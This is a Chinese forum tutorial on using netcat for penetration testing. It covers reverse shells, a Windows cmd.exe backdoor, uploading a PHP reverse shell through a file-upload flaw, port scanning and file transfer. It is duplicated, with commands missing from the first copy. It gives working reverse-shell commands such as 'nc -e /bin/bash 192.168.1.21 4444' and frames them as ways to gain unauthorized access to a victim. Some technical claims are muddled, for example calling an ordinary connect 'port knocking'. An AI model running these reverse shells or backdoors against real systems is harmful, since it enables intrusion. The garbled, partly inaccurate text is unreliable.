渗透测试工具教程：瑞士军刀Netcat（nc.exe）的使用方法，Netcat实战教程
zevseo 长老 301 0
在黑客攻击领域，通过攻击使用最多和强大的工具通常被称为“ Netcat ”，它是用于使用TCP或UDP分析和写入网络连接的计算机网络功能。Netcat旨在成为可靠的后端，可以直接使用或由其他程序和脚本轻松驱动。同时，它是一个功能丰富的网络调试和调查工具; 因为它可以创建用户可能需要的几乎任何类型的连接，并具有许多内置功能。
Netcat同时非常容易和多用途，就像试图解释你可以用瑞士军刀做的一切。
举些例子：-
让我们开始吧！
Port Knocking （端口爆破）
打开kali Linux的终端并键入以下命令，其中包含目标的IP和目标端口号。
反壳
主要是攻击者使用netcat作为后门来进行未经授权的访问目标系统，在此攻击者在扫描任何易受攻击的目标时激活侦听端口（随机端口）。
nc -e /bin/bash 192.168.1.21 4444
上面的命令将等待受害者系统的反向连接。
在给定的屏幕截图中，您可以看到正在运行的网站遭受os命令注入漏洞现在使用nc -e / bin / bash 192.168.1.21 4444在受害者和攻击者系统之间建立连接，这将允许通过创建后门进行未经授权的访问。
在这里你可以成功地看到我们（攻击者）通过netcat访问受害者的shell。
Netcat作为后门
下载netcat.exe for windows并输入以下命令
从给定的屏幕截图中，您可以看到攻击者通过netcat成功连接到Windows客户端
文件上传利用
我们将了解攻击者如何通过netcat shell利用文件上载漏洞。从给定的图像可以清楚地看出，目标网络服务器允许其客户端上传图像。
对于上传，我们使用php-reverse-shell.php而不是php后门的图像。打开此Web shell以编辑监听器IP，即您的kali Linux IP（192.168.1.21），然后使用以下命令激活netcat，该命令将等待与受害者系统建立反向连接。
现在在web服务器上传你的php后门并执行将受害者的系统从攻击者机器连接起来的文件。
因此，您可以看到攻击者通过netcat shell成功进行了未经授权的访问。
HTTP请求
使用Netcat从Web服务器获取网页信息。使用Netcat，您可以搜索完整的HTTP标头，以便在Web服务器中查看正在运行的特定站点。现在键入以下命令以连接到端口80。
端口扫描
Netcat还可以扫描TPC和UDP端口，因此它可以用于代替NMAP，它将告诉我们目标IP的开放和关闭端口
以下命令显示目标IP和端口范围
聊天
Netcat还用于两个系统之间的聊天。我们需要将Netcat放在一起监听两个系统上的特定端口并连接到特定地址。
文件传输
如你所知，在windows中我们现在已经下载了netcat.exe文件，我已经用它通过特定端口上传目标系统上的文本文件t.txt。
现在接收器可以通过提供类似的端口号来下载该t.txt文件，该端口号将在两个系统之间建立连接。
Netcat同时非常容易和多用途，就像试图解释你可以用瑞士军刀做的一切。
举些例子：-
- 获取标志
- 绑shell（后门）
- 聊天
- 文件上传和下载
- 端口扫描
- 港口敲门
- 转发端口
- 显示Web服务器HTTP文件内容
让我们开始吧！
Port Knocking （端口爆破）
打开kali Linux的终端并键入以下命令，其中包含目标的IP和目标端口号。
nc 192.168.1.21 2222因此，当执行给定命令时，它将通过敲击端口来告知隐藏的运行服务，从下面给出的图像可以看出端口2222是为SSH打开的。
反壳
主要是攻击者使用netcat作为后门来进行未经授权的访问目标系统，在此攻击者在扫描任何易受攻击的目标时激活侦听端口（随机端口）。
nc -e /bin/bash 192.168.1.21 4444
上面的命令将等待受害者系统的反向连接。
在给定的屏幕截图中，您可以看到正在运行的网站遭受os命令注入漏洞现在使用nc -e / bin / bash 192.168.1.21 4444在受害者和攻击者系统之间建立连接，这将允许通过创建后门进行未经授权的访问。
在这里你可以成功地看到我们（攻击者）通过netcat访问受害者的shell。
Netcat作为后门
下载netcat.exe for windows并输入以下命令
nc.exe 192.168.1.21 4444 -e cmd.exe
从给定的屏幕截图中，您可以看到攻击者通过netcat成功连接到Windows客户端
nc -lvp 4444
文件上传利用
我们将了解攻击者如何通过netcat shell利用文件上载漏洞。从给定的图像可以清楚地看出，目标网络服务器允许其客户端上传图像。
对于上传，我们使用php-reverse-shell.php而不是php后门的图像。打开此Web shell以编辑监听器IP，即您的kali Linux IP（192.168.1.21），然后使用以下命令激活netcat，该命令将等待与受害者系统建立反向连接。
nc -lvp 1234
现在在web服务器上传你的php后门并执行将受害者的系统从攻击者机器连接起来的文件。
因此，您可以看到攻击者通过netcat shell成功进行了未经授权的访问。
HTTP请求
使用Netcat从Web服务器获取网页信息。使用Netcat，您可以搜索完整的HTTP标头，以便在Web服务器中查看正在运行的特定站点。现在键入以下命令以连接到端口80。
nc 192.168.1.11 80
OPTIONS /HTTP/ 1.0从屏幕截图中，您可以阅读目标网站的http标头的详细信息。
端口扫描
Netcat还可以扫描TPC和UDP端口，因此它可以用于代替NMAP，它将告诉我们目标IP的开放和关闭端口
以下命令显示目标IP和端口范围
- -z：零I / O模式[用于扫描]
- -w：连接和最终网络读取的超时
- -v：-v verbose
- -l：listen模式，用于入站连接
- -n：仅限数字的IP地址，
聊天
Netcat还用于两个系统之间的聊天。我们需要将Netcat放在一起监听两个系统上的特定端口并连接到特定地址。
nc -lvp 5678
nc 192.168.1.21 5678访问www.mayidui.net
文件传输
如你所知，在windows中我们现在已经下载了netcat.exe文件，我已经用它通过特定端口上传目标系统上的文本文件t.txt。
nc 192.168.1.21 5555 < t.txt
现在接收器可以通过提供类似的端口号来下载该t.txt文件，该端口号将在两个系统之间建立连接。
nc -lvp 5555 > /root/Desktop/t.txt
组图
黑客安全资讯
Web安全渗透测试培训
代码审计
渗透测试工具
命令执行漏洞
知识问答
原创投稿
文件上传漏洞
逆向与编程
